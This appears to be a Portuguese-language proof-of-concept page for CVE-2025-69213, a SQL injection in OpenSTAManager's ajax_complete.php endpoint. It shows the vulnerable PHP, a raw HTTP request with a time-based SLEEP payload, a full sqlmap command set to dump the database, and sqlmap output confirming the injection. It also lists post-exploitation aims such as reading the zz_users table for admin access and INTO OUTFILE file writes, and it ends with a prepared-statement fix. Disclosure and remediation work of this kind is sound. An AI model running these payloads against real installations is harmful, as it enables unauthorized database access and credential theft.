
Repositório de prova de conceito para CVE-2025-69213, demonstrando uma vulnerabilidade de injeção de SQL no endpoint ajax_complete.php do OpenSTAManager, com exploração cega baseada em tempo e orientações de remediação.
| Campo | Detalhes |
|---|
| ID do CVE | CVE-2025-69213 |
| Gravidade | ALTA |
| Aviso | Ver Aviso |
| Descoberto por | Lukasz Rybak |
Existe uma vulnerabilidade de Injeção de SQL no endpoint ajax_complete.php ao manipular a operação get_sedi. Um atacante autenticado pode injetar código SQL malicioso através do parâmetro idanagrafica, levando a acesso não autorizado ao banco de dados.
Arquivo: modules/anagrafiche/ajax/complete.php:28
case 'get_sedi':
$idanagrafica = get('idanagrafica');
$q = "SELECT id, CONCAT_WS( ' - ', nomesede, citta ) AS descrizione
FROM an_sedi
WHERE idanagrafica='".$idanagrafica."' ...";
$rs = $dbo->fetchArray($q);
$_GET['idanagrafica'] → get('idanagrafica')$dbo->fetchArray($q) executa a consulta maliciosaPoC Manual (Injeção SQL cega baseada em tempo):
GET /ajax_complete.php?op=get_sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>

Exploração com SQLMap:
sqlmap -u "http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*" \
--cookie="PHPSESSID=<session>" \
--dbms=MySQL \
--technique=T \
--level=3 \
--dump
Saída do SQLMap:
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: idanagrafica=1' AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF
back-end DBMS: MySQL >= 5.0.12

zz_users para obter acesso administrativoSELECT ... INTO OUTFILE se as permissões de arquivo permitiremSubstitua a concatenação direta por declarações preparadas:
Antes:
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica='".$idanagrafica."' ...";
Depois:
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica=".prepare($idanagrafica)." ...";
Descoberto por: Łukasz Rybak
Este CVE foi divulgado de forma responsável, seguindo práticas coordenadas de divulgação de vulnerabilidades. As informações fornecidas aqui são apenas para fins educacionais e de defesa.